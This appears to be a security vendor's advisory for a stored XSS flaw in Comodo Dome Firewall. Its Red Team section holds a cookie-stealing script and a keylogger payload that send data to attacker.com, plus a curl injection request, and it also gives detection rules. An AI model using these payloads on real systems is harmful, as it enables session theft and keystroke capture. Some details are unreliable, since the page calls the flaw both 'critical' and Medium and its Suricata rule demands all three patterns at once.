CVE-2019-25421
Executive Summary
CVE-2019-25421 is a critical cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw resides in the policyfw endpoint, where the mac, target, and remark parameters are not properly sanitized. An attacker can submit a POST request containing malicious JavaScript payloads, leading to arbitrary code execution in the context of an administrator's browser or persistent storage of malicious scripts within the application. This vulnerability poses a significant risk to network security, as it can be exploited to steal session cookies, deface web interfaces, or pivot to internal systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary appliance vulnerability in Comodo Dome Firewall.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the description, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R) - requires an admin to view the injected page
- Scope (S): Changed (C) - impacts resources beyond the vulnerable component
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Base Score: 6.1 (Medium)
Threat Level: Medium. The vulnerability requires user interaction (an admin viewing the injected content), but the impact can be severe if an admin's session is hijacked.
Deep Dive & Mechanics
The vulnerability is a classic stored/persistent XSS. The policyfw endpoint is used to manage firewall policies. The mac, target, and remark parameters are intended to hold MAC addresses, target IPs, and remarks, respectively. However, the application fails to sanitize or encode user input before storing it in the database and later rendering it in the administrative web interface.
Attack Flow:
- An attacker sends a POST request to the
policyfwendpoint with a malicious payload in one of the vulnerable parameters. - The payload is stored in the application's database without sanitization.
- When an administrator views the policy management page, the stored payload is rendered in the browser.
- The JavaScript executes in the context of the admin's session, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the interface.
Root Cause: Lack of input validation and output encoding. The application does not use context-aware escaping (e.g., HTML entity encoding) when rendering user-supplied data.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (Conceptual):
// Vulnerable: Directly stores user input without sanitization
$mac = $_POST['mac'];
$target = $_POST['target'];
$remark = $_POST['remark'];
// Store in database
$db->query("INSERT INTO policies (mac, target, remark) VALUES ('$mac', '$target', '$remark')");
// Later, when rendering:
echo "<tr><td>$mac</td><td>$target</td><td>$remark</td></tr>";
Patched Code (Conceptual):
// Patched: Sanitize input and encode output
$mac = htmlspecialchars($_POST['mac'], ENT_QUOTES, 'UTF-8');
$target = htmlspecialchars($_POST['target'], ENT_QUOTES, 'UTF-8');
$remark = htmlspecialchars($_POST['remark'], ENT_QUOTES, 'UTF-8');
// Store in database (still use prepared statements to prevent SQLi)
$stmt = $db->prepare("INSERT INTO policies (mac, target, remark) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $mac, $target, $remark);
$stmt->execute();
// When rendering, the data is already encoded
echo "<tr><td>$mac</td><td>$target</td><td>$remark</td></tr>";
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the Comodo Dome Firewall web interface (network access).
- Ability to send POST requests to the
policyfwendpoint.
Exploit Steps:
- Identify the target firewall's IP address and the
policyfwendpoint URL (e.g.,https://<firewall-ip>/policyfw). - Craft a POST request with a malicious payload in the
mac,target, orremarkparameter.
Example Payload (Steal Cookie):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Example POST Request using cURL:
curl -X POST https://<firewall-ip>/policyfw \
-d "mac=<script>alert('XSS')</script>" \
-d "target=192.168.1.1" \
-d "remark=test"
Advanced Payload (Keylogger):
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
Blue Team
Detection:
- Monitor HTTP POST requests to the
policyfwendpoint for suspicious parameters containing<script>,onerror,javascript:, or other XSS indicators. - Use web application firewalls (WAF) to block common XSS patterns.
- Review server logs for unusual characters in the
mac,target, andremarkfields.
Mitigation:
- Apply input validation: allow only alphanumeric characters, hyphens, and colons for MAC addresses; IP addresses for targets; and alphanumeric text for remarks.
- Implement output encoding using
htmlspecialchars()or equivalent. - Use Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/policyfwwith parameters containing<script>tags or JavaScript event handlers. - Outbound connections from the firewall to external IPs on port 80/443 (exfiltration).
Host IOCs:
- Stored XSS payloads in the database tables related to firewall policies.
- Unusual entries in the
mac,target, orremarkfields that contain HTML/JavaScript.
Log IOCs:
- Server logs showing requests with
%3Cscript%3E(URL-encoded<script>) in the POST body. - Repeated failed login attempts from the same IP (if attacker is probing).
Detection Engineering
YARA Rule
rule CVE_2019_25421_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2019-25421 in Comodo Dome Firewall"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25421"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2019-25421 XSS Attempt on Comodo Dome Firewall
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /policyfw with XSS payloads in mac, target, or remark parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /policyfw
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in remarks (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25421 XSS Attempt on Comodo Dome Firewall"; flow:to_server; http.method; content:"POST"; http.uri; content:"/policyfw"; http.client_body; content:"<script"; nocase; http.client_body; content:"onerror"; nocase; http.client_body; content:"javascript:"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Firewall: If possible, restrict access to the administrative interface to trusted IPs only.
- Disable Unused Features: If the
policyfwendpoint is not required, disable it or restrict access via firewall rules. - Manual Input Validation: Implement a reverse proxy or WAF to sanitize input before it reaches the vulnerable endpoint.
Long-term Fix:
- Contact Comodo for an official patch. Since the status is UNKNOWN/UNPATCHED, consider migrating to a different firewall solution.
- If source code is available, apply the patched code pattern described above.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enable Content Security Policy (CSP) headers to restrict script execution.
- Implement strict input validation on all user-supplied data.
Valters IT
Securing Digital Frontiers